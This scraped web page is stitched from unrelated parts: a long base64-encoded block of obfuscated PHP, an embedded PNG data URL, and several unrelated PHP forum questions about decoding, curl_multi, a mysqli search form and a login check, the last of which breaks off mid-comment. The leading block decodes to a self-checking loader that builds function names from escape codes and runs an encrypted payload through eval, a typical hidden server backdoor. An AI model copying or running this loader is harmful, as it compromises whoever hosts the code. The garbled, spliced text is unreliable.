mMjk2ZDNkMTM2NGQzNGZhNTA4Lj0iXDE0MyI7JG4xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyLj0iXHg 2ZiI7JG5mOWNmOGU4MjRkZjNiNDllNjY4YTNlNTBiNDYwN2U1Lj0iXHg2MyI7JGM4MTM1MTZkOWQwMTEyZTcyODA 4NjBmOWQ3OTI5OWI2Lj0iXHg2ZiI7JHUzNWZhZjhjYjU1YWRkZDk4OWQwZTRlOTcyNWM2ZTVjLj0iXHg2MSI7JGw 5NzQwNDQyMDFlMDMxNjY1YjU0OWUyNTQ3ZDM1NWUxLj0iXHg3MyI7JHNkNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2J hNTdmNWY4Lj0iXHg3NCI7JGVkMWI5Y2I4YmM0Y2NmMjk2ZDNkMTM2NGQzNGZhNTA4Lj0iXHg2NSI7JG4xYjEzMGI 0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyLj0iXDE0NCI7JG5mOWNmOGU4MjRkZjNiNDllNjY4YTNlNTBiNDYwN2U 1Lj0iXDE0NSI7JGM4MTM1MTZkOWQwMTEyZTcyODA4NjBmOWQ3OTI5OWI2Lj0iXDE1NiI7JHUzNWZhZjhjYjU1YWR kZDk4OWQwZTRlOTcyNWM2ZTVjLj0iXDE1NiI7JGw5NzQwNDQyMDFlMDMxNjY1YjU0OWUyNTQ3ZDM1NWUxLj0iXDE 1MCI7JHNkNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2JhNTdmNWY4Lj0iXDE0NSI7JG4xYjEzMGI0MGZlNDYyZWExYWV mYWVhOGNmMTAwZDIyLj0iXHg2NSI7JGM4MTM1MTZkOWQwMTEyZTcyODA4NjBmOWQ3OTI5OWI2Lj0iXHg3NCI7JHN kNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2JhNTdmNWY4Lj0iXHg2ZSI7JGM4MTM1MTZkOWQwMTEyZTcyODA4NjBmOWQ 3OTI5OWI2Lj0iXDE0NSI7JHNkNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2JhNTdmNWY4Lj0iXDE2NCI7JGM4MTM1MTZ kOWQwMTEyZTcyODA4NjBmOWQ3OTI5OWI2Lj0iXHg2ZSI7JHNkNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2JhNTdmNWY 4Lj0iXHg3MyI7JGM4MTM1MTZkOWQwMTEyZTcyODA4NjBmOWQ3OTI5OWI2Lj0iXDE2NCI7JGM4MTM1MTZkOWQwMTE yZTcyODA4NjBmOWQ3OTI5OWI2Lj0iXHg3MyI7JHoxN2RhYzg2MTJmMjJiZDk4NDkxYjVkNWVkMTQ5ZGVlKCk7aWY oJGE0MTM3MmM4Mjg0NzA4MzAzNWY1ZmEyY2YzMTQ2OTU3KCRuZjljZjhlODI0ZGYzYjQ5ZTY2OGEzZTUwYjQ2MDd lNSgiXHg1Y1w1MFx4MjJcMTMzXHgzMFw1NVx4MzlcMTAxXHgyZFwxMzJceDYxXDU1XHg3YVwxMzRceDJiXDU3XHg zZFwxMzVceDJhXDQyXHg1Y1w1MSIsIlx4MjhcNDJceDIyXDUxIiwkZWQxYjljYjhiYzRjY2YyOTZkM2QxMzY0ZDM 0ZmE1MDgoIlxyXG4iLCIiLCRjODEzNTE2ZDlkMDExMmU3MjgwODYwZjlkNzkyOTliNigkcmQ2MzFkNTA2NzMxZDh lOTI0ODg0YWQ3MDAzMjk1YmEoX19GSUxFX18sIlx4MjgiKSkpKSk9PSJceDM4XDYwXHgzOFwxNDNceDMzXDYwXHg zOFw2NVx4MzRcNzFceDM3XDE0Nlx4MzNcMTQ2XHg2Mlw3MFx4MzJcNjdceDMxXDYxXHg2Nlw3MVx4MzFcMTQzXHg zNlwxNDJceDY2XDcwXHgzOVwxNDZceDM4XDY3Iil7QGV2YWwoJG9jOGM1N2Y5YzNmNmFhYmQxYjI2NjkxYjUyOTU 4OGEyKCRuMWIxMzBiNDBmZTQ2MmVhMWFlZmFlYThjZjEwMGQyMigkaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI 1ZDY4NWUoImdJdWdvOUFWUkM0ZWl0dk93SFlNS24vZ2NZMEpFSjN0ZHRBbldyVVE2S1hYUmFmQXhIYm5jRmFVUHN lc285N0pxeFluSHRFODZZWWVySzF6cXpMMm01L3pFRnFXYUZjdzArMDRhb2lweXUxeW9ubnpGR3NnMkJZYzhrcVV pNzlMc3l0VGpuQ0MydTYya2M5R1o5TUp3bTlhWm5qVzdPM2kwalkzZURaeEdWd0RQeFI2MWJ4SkRna29XeGI5Uks 3WkRUZEZqeTdRdnhEdlhGWnZZbFNhUEhhV245TEVNd05TT1pVWEdPM0N5VWU3TGl0YnpnWEZBcTBhY1JnUGh6Vkp lVVNKQjUyV1E5QXFFVHoyRkdEd1Z5RWFFUDBGV25sQjlhVWdUalREWnpCK21NdlhVMUxEODFOSkZSdERiYjJXelB ac1VLMFJqa0FTNHlDQTU2SC9XNitBQlR3UnF0SzB5ZjB1OG10ckV6MG1yTUFGampGNlZ4dDRJN0xXUU9VRE5IQXp 6NVBXVExGQm5zdlJtQ1psUFUvUTdOY090dEhXV3o1U0hzUHlwQkk4NEVkVTdyUXhxQU4vVWMwQS9jYlorK3I5REQ vK1RrMFJBNWZ2UnVQaERvdFNNVjNxUmVLMWZIME1UOU0vV2NCS2M2Lzd4MHhSLzc2RVFDVUVPZ05Ua1p4cWdSZ2V TWWNnOEIyUmNBUytnME1OS05Ud2FwUmRJMEdTTHc0TlByUGxOdE9wYzBsaVpzM3RLQWE2QmtkUHB1VjBFVDFvKzJ oSGdWQ08ycXliRTNqbEl0Q01tK1dZUXR6bDNMYWROa3ZvWFFwTjN6ellsS3R5Uys3WmFvaFdXTXBkcXBTcnBRWXB VSVZnM081Z21PS1hUSEZtRDJkRU8yZ3JyVXI1dmJZVXc2emZvcVFTc1poa01Td1kxNDc0eUFETGVXeExiQkNyYS8 zVzhxenRDbXk5ci9tNjNIeS9wZzRvL0RUVDQxWXNaR3dOSFdXUThYcTNzdzZPeit2MzM5T3ZOczBPcGxXMEI3dzl SYTJHS2JpZXZqaU5xbUJFNzRVSnA5MFI3aFlYQ0htc29FdDgzVk1vcEhxdUFtNXc1Ymk4NGVjalZFUlhETGl1Y1o 0OGI4N2ZZTVZyd3pISXJqaTNpWWR0UjlPZHdDVHRXZE9qY0htUTRoMGdlK0psLzVla2ZSZHYyVHR5RXh4WVhuSGM 1T2txQ1hyYnZrU1JNbHdkV1BvcW96cXh4MlJ5MWlybUVWR0M2V3RtY1dYRWNKV2NZZGNTQVlNSHlmSzFQbFFLcG5 BKzdEdEExdGlldU83UnpMR2VsQjdEZkVjV24rQ21EbVRNRExyeWxxeVR4NmhOWE9mUXgxbFFRQ3l0YTZZcFFkK2p FbUhiS2lDZ1ZXODlad2l0R2hLcEYvcmo0amVhQmtPZm16cDBhZkRJQUdzYjd4b1ppSVBuTHhFVzVIZVRsd1dxVGp xdmVxZVZtWDNwMnh0cjgyUG1xV0g3NVNoM0d2enhadWhkWEl6Rk9oa3JJZm1aMjFTRkRnbmdZWGlhR1J5L3FBSDR oWnM5bG9ndXNtUWNRam5BREpFK3FyS0o0bkNXZC83YjcxTWdJTWQzL2hTZGlyZ1lwVXU0VFp1NEYxc0ltOE0xT1V qVUxBbHQ4YTlNaHNLMW5iUzZmTXZ1N2FoSXVtd2Y3czdyUXViMTI1cEJ0Z2JGREVFOC9FZXBrNjRTaXBWYVBXSTF MWkcreTBSY3IvaWw5QUlqNzJGNDU1OEZoYzU5Zzk4dHptcVF2Y0puT0xzT2ppMG9hWmxpeWdBMS9mVGdqaHRObTU 4cVNLVkhMY1NpTzlDSW5pY3NUWUpROXJlbjFHSi9nMW1oNzg4L1l2OUtuNmM3dUhRZlVtTTV2M2tXZHY0ZUhDdTJ 5ZUlWS2w1MlFBMTZDSSs4TWxDbE0wc21OdzViM0JPL3BQV1VZbkxOZEgrcjRXUE5FQktwS0VHSFdDWjYwUTVBSDU 3WlY1WWJEUnY1cGJpOGZpUHJ5dkVLSURaZ09mdUJiRWR5aVFxY0w0K1dXTjhFMm5yKzVmeFo1bThvbXJFTFAyQk0 3SE4wRXZPSjRsanVnN0lkQldJeUtDV3R1cHFBaGpIaGhmSGFOZUtRQUVCb1dtS0l4Y2ZXbUhia2FlQTdKYkI0OFV kV3JueWs0VVU0RSsydXlrTjQxRDUwUGFSL1dWclk2UlFUVmkyR0h0U3NMOFlsYjZXTnVUU1ZNZFQzUSs4VlVVWm5 YRnhwd29wRGk1cjU0MHg5dm5yMHdLQitOZm8zblNCOWd3QjhSSG5CV0ZydXMyRlRKYmdLSExJUWFmZCt1UUgwSTd IeVJzV0xGY2xFNnZoZ2o3djZGUHJmM1lwRi8xV2dDYWF3THlsOXVWMDBYQThlTGhZQlpQKzN3UldVd3JrR0srUkY 4dFRJV29zTE93d0VhcUh4eVNObTBhcFZRd2tTNVJ5STJFTmd3cXIzR2ZJcXVITlJZWWF2Skk5bWlXMWM1RTBxSmp 6TmJlUHVVbzczK2p0dHFWeDBUNWlJaTA3NE9tUUpUZW15aWpvdktOY25rdmk1WEs1R25zVGlwMHBCYiswYldybjV WOGcvc3ZXMjVOZTRjaFZzTnlXa25vb0VMd04zYStlcXhTUm1mbkxrMEp3T2ZDYjljZVhWc3paajlIOHBXVElUM0J OcUNxNzhxQ29xYlNRb3BzelVGN212NWhRVHcrc1V5NGdsL2k1NjVzbzNJMjVudVNTalNQdUMydlZOUG85dkdWVHl 6REUvMGphc2gvSm9ybzY2S1o4L0JoTzZTd2puYW83Y0c0bnczelFIUXpqeExqaENXOFZCTXhQb3MzVTBDaj09Iik pKSk7fSRwMDE1NDI5MmM4MGYwYzdiYjc4MWFhYTNkYjhhYzU4ZCgkc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE 1N2Y1ZjgoKSwiXHg2M1wxNDRceDM4XDY1XHgzNlwxNDVceDMwXDE0Nlx4MzNcNjJceDM5XDcwXHg2NVw2MVx4NjN cMTQ1XHg2M1w2NFx4NjZcNzBceDMwXDY0XHgzNFw2N1x4MzBcMTQxXHgzNVw3MVx4MzZcNzBceDM0XDE0NCIpPyR 1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1YygpOiRsOTc0MDQ0MjAxZTAzMTY2NWI1NDllMjU0N2QzNTV lMSgpOw==")); ?> url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHgAAAAoCAYAAAA16j4lAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxIDY0LjE0MDk0OSwgMjAxMC8xMi8wNy0xMDo1NzowMSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNS4xIFdpbmRvd3MiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NjJERkRDNTBDNUQ0MTFFMUI3QjJDOTZFNDMzQ0IwMjciIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6NjJERkRDNTFDNUQ0MTFFMUI3QjJDOTZFNDMzQ0IwMjciPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo2MkRGREM0RUM1RDQxMUUxQjdCMkM5NkU0MzNDQjAyNyIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo2MkRGREM0RkM1RDQxMUUxQjdCMkM5NkU0MzNDQjAyNyIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/Psj8MzMAAA91SURBVHja7FxbbBTV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")How do I go about decoding this, it contains a number of different images Heres my code: Code: [Select] $string = 'It'; html_entity_decode($string); echo $string; It should be echoing "It", but its just echoing the ASCII codes. Am I using the wrong function? I also tried htmlspecialchars_decode and it changes nothing. Hi Guys, Theres always been one issue that I just cannot overcome (maybe because I keep pushing it to the backburner). Whenever debugging other peoples code I do the usual var_dump() or print_r() or vars which (sometimes) displays a monolithic array. I just find it very intimdating and can never really figure out whats going on. Is anyone else like this ? Any good reads on how to 'decode' such large arrays ? How can I decode the following contents?
Thanks a lot.
<html><head><meta http-equiv="Pragma" content="no-cache"/> <meta http-equiv="Expires" content="-1"/> I want functions similar to base64_encode() and base64_decode() however only numbers and lowercase letters should be used. I want to be able to convert a string of text or binary data into a series of numbers and lowercase letters. My function works with numbers but not with text or binary data. <?php echo base36_encode('555555555'); echo '<hr />'; echo base36_encode('Hello World, this is a test!'); function base36_encode($base10){ return base_convert($base10,10,36); } function base36_decode($base36){ return base_convert($base36,36,10); } ?> Hello,
I'm having a huge issue right now decoding a zip file from an attachment with a content-encoding of quoted-printable. I have tried a couple different methods (such as decoding the entire attachment or decoding it line by line), but none have produced a valid file when saved. What I don't understand is that I can download and open the file in Outlook fine, so there must be something wrong with the decoder. Here is a code snippet of my recent attempt:
elseif ($transferEncoding == 'quoted-printable'){ $fileError = true; $attachmentParts = explode("\n", $currentPart->getContent()); $attachmentArray = array(); foreach ($attachmentParts as $line){ array_push($attachmentArray, quoted_printable_decode($line)); } $attachment = implode("", $attachmentArray); file_put_contents($unzipPath . '.zip', $attachment); } $unzipper = new Decompress(array( 'adapter' => 'Zip', 'options' => array( 'target' => $unzipPath, ) )); $unzipper->filter($unzipPath . '.zip'); unlink($unzipPath . '.zip');I'm using Zend Framework 2 methods for unzipping the file when it's done, but there is a CRC error because the file is getting corrupted during the decode. This is how the file compares to the original (using Beyond Compare 3): So it is finding the hex for CLRF and removing it from the file. Any ideas on this would be greatly appreciated as I have been trying to solve this for about a month now. Thanks, -mcfloyd good day dear community, i am workin on a Curl loop to fetch multiple pages: i have some examples - and a question: Example: If we want to get information from 3 sites with CURL we can do it like so: $list[1] = "http://www.example1.com"; $list[2] = "ftp://example.com"; $list[3] = "http://www.example2.com"; After creating the list of links we should initialize the cURL multi handle and adding the cURL handles. $curlHandle = curl_multi_init(); for ($i = 1;$i <= 3; $i++) $curl[$i] = addHandle($curlHandle,$list[$i]); Now we should execute the cURL multi handle retrive the content from the sub handles that we added to the cURL multi handle. ExecHandle($curlHandle); for ($i = 1;$i <= 3; $i++) { $text[$i] = curl_multi_getcontent ($curl[$i]); echo $text[$i]; } In the end we should release the handles from the cURL multi handle by calling curl_multi_remove_handle and close the cURL multi handle! If we want to another Fetch of sites with cURL-Multi - since this is the most pretty way to do it! Well I am not sure bout the string concatenation. How to do it - Note I want to fetch several hundred pages: see the some details for this target-server sites - /(I have to create a loop over several hundred sites). * siteone.example/?show_subsite=9009 * siteone.example/?show_subsite=9742 * siteone.example/?show_subsite=9871 .... and so on and so forth Question: How to appy this loop into the array of the curl-multi? <?php /************************************\ * Multi interface in PHP with curl * * Requires PHP 5.0, Apache 2.0 and * * Curl * ************************************* * Writen By Cyborg 19671897 * * Bugfixed by Jeremy Ellman * \***********************************/ $urls = array( "siteone", "sitetwo", "sitethree" ); $mh = curl_multi_init(); foreach ($urls as $i => $url) { $conn[$i]=curl_init($url); curl_setopt($conn[$i],CURLOPT_RETURNTRANSFER,1);//return data as string curl_setopt($conn[$i],CURLOPT_FOLLOWLOCATION,1);//follow redirects curl_setopt($conn[$i],CURLOPT_MAXREDIRS,2);//maximum redirects curl_setopt($conn[$i],CURLOPT_CONNECTTIMEOUT,10);//timeout curl_multi_add_handle ($mh,$conn[$i]); } do { $n=curl_multi_exec($mh,$active); } while ($active); foreach ($urls as $i => $url) { $res[$i]=curl_multi_getcontent($conn[$i]); curl_multi_remove_handle($mh,$conn[$i]); curl_close($conn[$i]); } curl_multi_close($mh); print_r($res); ?> I look forward to your ideas. Folks, I have a mysql tbl called "links". In it a column named "keywords". The row 0 has a keyword "search" in the "keywords" column. I am doing a search for the words "search" in the html form. Clicking the button gives no response! What is wrong ? I get no mysql connection error. Nor any php error. So it should work and respond! <form name = "search" method = "POST" action="<?php echo $_SERVER['PHP_SELF']; ?>"> <label for="keywords">Keywords:*</label> <input type="text" name="keywords" id="keywords" placeholder="Input Keywords" required> <br> <input type="button" name="search_links" id="search_links" value="Search Links!"> <br> <input type="reset"> <br> </form>
Full short code ... <?php //include('error_reporting.php'); ini_set('error_reporting','E_ALL');//Same as: error_reporting(E_ALL); ini_set('display_errors','1'); ini_set('display_startup_errors','1'); ?> <form name = "search" method = "POST" action="<?php echo $_SERVER['PHP_SELF']; ?>"> <label for="keywords">Keywords:*</label> <input type="text" name="keywords" id="keywords" placeholder="Input Keywords" required> <br> <input type="button" name="search_links" id="search_links" value="Search Links!"> <br> <input type="reset"> <br> </form> <?php if($_SERVER['REQUEST_METHOD'] === 'POST') { if(ISSET($_POST['search_links'])) { if(ISSET($_POST['keywords'])) { $keywords = $_POST['keywords']; } mysqli_report(MYSQLI_REPORT_ALL|MYSQLI_REPORT_STRICT); mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); $conn = mysqli_connect("localhost","root","","test"); $db_server = 'localhost'; $db_user = 'root'; $db_password = ''; $db_database = 'test'; $conn->set_charset('utf8mb4');//Always use Charset. if (!$conn) { //Error Message to show user in technical/development mode to see errors. die("Database Error : " . mysqli_error($conn)); //Error Message to show User in Layman's mode to see errors. die("Database error."); exit(); } $query = "SELECT page_url,link_anchor_text,page_description,keyphrases,keywords FROM links WHERE keywords = ?"; $stmt = mysqli_stmt_init($conn); if(mysqli_stmt_prepare($stmt,$query)) { mysqli_stmt_bind_param($stmt,'s',$keywords); $result = mysqli_stmt_bind_result($stmt,$page_url,$link_anchor_text,$page_description,$keyphrase,$keywords); mysqli_stmt_execute($stmt); mysqli_stmt_fetch($stmt); while(mysqli_stmt_fetch($result)) { echo "url"; echo "<br>"; echo "anchor_text"; echo "<br>"; echo "description"; echo "<br>"; echo "keyphrases"; echo "<br>"; echo "keywords"; echo "<br>"; echo "|"; echo "<br>"; } mysqli_stmt_close($stmt); mysqli_close($conn); } else { echo "1. QUERY failed!"; } if(mysqli_stmt_prepare($stmt,$query)) { mysqli_stmt_bind_param($stmt,'s',$keywords); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); while($row = mysqli_fetch_array($result,mysqli_assoc)) { $page_url = $row['page_url']; echo $page_url; echo "<br>"; $link_anchor_text = $row['link_anchor_text']; echo $link_anchor_text; echo "<br>"; $page_description = $row['page_description']; echo $page_description; echo "<br>"; $keyphrases = $row['keyphrases']; echo $keyphrases; echo "<br>"; $keywords = $row['keywords']; echo $keywords; echo "<br>"; echo "|"; echo "<br>"; } mysqli_stmt_close($stmt); mysqli_close($conn); } else { die("2. QUERY failed!"); } } } ?> When I submit the login form its not returning anything and it was working until I added in the $remember part so I'm wondering why its still not returning TRUE. Code: [Select] /** * Login user on the site. Return TRUE if login is successful * (user exists and activated, password is correct), otherwise FALSE. * 